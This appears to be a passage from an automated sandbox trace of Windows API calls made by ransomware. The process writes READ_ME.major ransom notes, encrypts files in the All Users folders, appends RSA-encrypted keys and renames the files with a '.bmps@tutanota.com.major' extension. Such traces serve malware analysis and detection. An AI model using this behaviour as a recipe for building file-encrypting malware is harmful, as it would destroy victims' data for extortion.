[0144.521] SetLastError (dwErrCode=0x0) [0144.521] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.522] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.523] CloseHandle (hObject=0x5bc) returned 1 [0144.523] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0144.523] FindFirstFileW (in: lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eee8 [0144.523] SetLastError (dwErrCode=0x12) [0144.523] GetLastError () returned 0x12 [0144.523] SetLastError (dwErrCode=0x12) [0144.523] GetLastError () returned 0x12 [0144.523] SetLastError (dwErrCode=0x12) [0144.523] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.523] SetLastError (dwErrCode=0x12) [0144.523] GetLastError () returned 0x12 [0144.523] SetLastError (dwErrCode=0x12) [0144.523] GetLastError () returned 0x12 [0144.523] SetLastError (dwErrCode=0x12) [0144.524] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15106b43, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15106b43, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] GetLastError () returned 0x12 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] GetLastError () returned 0x12 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] GetLastError () returned 0x12 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] SetLastError (dwErrCode=0x12) [0144.524] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] GetLastError () returned 0x12 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] SetLastError (dwErrCode=0x12) [0144.524] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] GetLastError () returned 0x12 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] SetLastError (dwErrCode=0x12) [0144.524] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] GetLastError () returned 0x12 [0144.524] SetLastError (dwErrCode=0x12) [0144.524] SetLastError (dwErrCode=0x12) [0144.524] FindNextFileW (in: hFindFile=0x60eee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0 [0144.524] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.525] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0x80) returned 1 [0144.525] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0144.525] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=997) returned 1 [0144.525] ReadFile (in: hFile=0x5c0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x3e5, lpOverlapped=0x0) returned 1 [0144.572] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.572] WriteFile (in: hFile=0x5c0, lpBuffer=0x5b5e80*, nNumberOfBytesToWrite=0x3e5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3e5, lpOverlapped=0x0) returned 1 [0144.572] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3e5 [0144.572] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.572] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.572] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.572] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.573] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0144.573] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aoBClsrfJhmP2F9HfwRGYC6293HIEv+cTj5sHIJCGSziSG7TfyZNKmlckXGdNrJ+\nrec4w0Rn9+ChepZ/FzsSZROwWGOxiX5ZFoALVYZ/a66Wg7JORlfovXIOwXcg34mo\n+JxSGeDmtkdAqYobltKs0rcAPpyFUsFPvuws/FOppgx+CPZULJmF96HO1kMaLuJW\nJBF/Kxdv4hpHoRhfKUdzCBfdCJX3MML1NvsrW61BaiCRJW4sezXzxrqlN5scaixS\ne5eEKPXowvxnmN4Hhd2mTum3PZIHZZSVJRLAbnvYyn29vLUz+kN37QkmEc0grUz5\nkWAgFLUTIy3ZX9xVq6wxiA==\n", pcchString=0x2e3f9a8) returned 1 [0144.573] WriteFile (in: hFile=0x5c0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.573] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.573] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.573] CloseHandle (hObject=0x5c0) returned 1 [0144.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0144.573] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57edb0 | out: hHeap=0x570000) returned 1 [0144.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0728 | out: hHeap=0x570000) returned 1 [0144.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0144.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x57edb0 [0144.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.619] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.619] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0x80) returned 1 [0144.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5c1df0 [0144.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a8108 [0144.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1df0 | out: hHeap=0x570000) returned 1 [0144.619] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0144.620] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1071) returned 1 [0144.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42f) returned 0x5b5a90 [0144.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42f) returned 0x630890 [0144.620] ReadFile (in: hFile=0x5c0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x42f, lpOverlapped=0x0) returned 1 [0144.675] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-1071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.675] WriteFile (in: hFile=0x5c0, lpBuffer=0x630890*, nNumberOfBytesToWrite=0x42f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x630890*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42f, lpOverlapped=0x0) returned 1 [0144.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0144.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630890 | out: hHeap=0x570000) returned 1 [0144.676] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42f [0144.676] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.676] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.676] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.676] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.676] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0144.676] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="EM1Il6IbOV9HGt+r/g3/VvEZncT0iwCwIPiqFQPJXjpRx9/gEcQlKbzKk1jV/82C\nEOgRyP9eXOEbnyJKXtsLxSZFW9e+slGTVyvEn9kFB4Tq1vruwLpX0wvjRYBOxwQd\npNvXF3xUgAe55vZSZ4/4+u/VV3ePqEJP1EnJ5aOb0e5U39xqSZZgl2h3est0B2s8\n6+a3MveCVTBsXil/zdP/No8AIWMAm21L+q8J8wl+L3ZjeZVgrgHHHDQZEPemRSuG\n1oF1RGIL4S2yVpxk7FSTfpDaObGTSguTtZzJGLvduXvkZiEG2F8krSBr/xWaxjBO\npkdA+zEye26bAOOHMZJpHw==\n", pcchString=0x2e3f9a8) returned 1 [0144.676] WriteFile (in: hFile=0x5c0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.676] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.676] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.676] CloseHandle (hObject=0x5c0) returned 1 [0144.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0144.677] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0144.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57edb0 | out: hHeap=0x570000) returned 1 [0144.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x57edb0 [0144.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.678] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.678] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0x80) returned 1 [0144.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5c1ce8 [0144.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5c1df0 [0144.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.680] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0144.680] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1068) returned 1 [0144.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42c) returned 0x5b5a90 [0144.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42c) returned 0x630890 [0144.680] ReadFile (in: hFile=0x5c0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x42c, lpOverlapped=0x0) returned 1 [0144.700] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.700] WriteFile (in: hFile=0x5c0, lpBuffer=0x630890*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x630890*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42c, lpOverlapped=0x0) returned 1 [0144.700] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0144.700] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630890 | out: hHeap=0x570000) returned 1 [0144.700] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42c [0144.700] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.700] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.700] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0144.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="q4F56Gjsv6KKqLUf9xIKNjsWmqMupuM22c5qOspb8DWBzL2z5obbxc0VsL73E9dp\ntsc/YxVjvgmt7CUPfMs8o7HNC5H9eLBrZ76YeJMWgHEb3/+3dw5mTMY0rX8xuFib\ngIhYUIZqSlrgkfv8EIW2njpYMPYd9USJw/EVZOoPXsyDdEqZnXwvvyVHWumF+sTh\nyF6BSof2ZDc6wCnao3cSUpkQq1uLG4+iD6/5eXvA02mDDjDID6ccLScDf3a6PM4K\nDwsoc9GElsmfQLuLMdLZ+sGh4suub55oYH2zWqHHbYNhOgAP6ipZpze6Hb/58vxu\nkf4oGVuuYN3mCtRIhlnnqQ==\n", pcchString=0x2e3f9a8) returned 1 [0144.700] WriteFile (in: hFile=0x5c0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.701] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.701] CloseHandle (hObject=0x5c0) returned 1 [0144.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0144.701] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1df0 | out: hHeap=0x570000) returned 1 [0144.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57edb0 | out: hHeap=0x570000) returned 1 [0144.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0144.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x57edb0 [0144.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0144.702] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.702] SetFileAttributesW (lpFileName="\\Users\\All 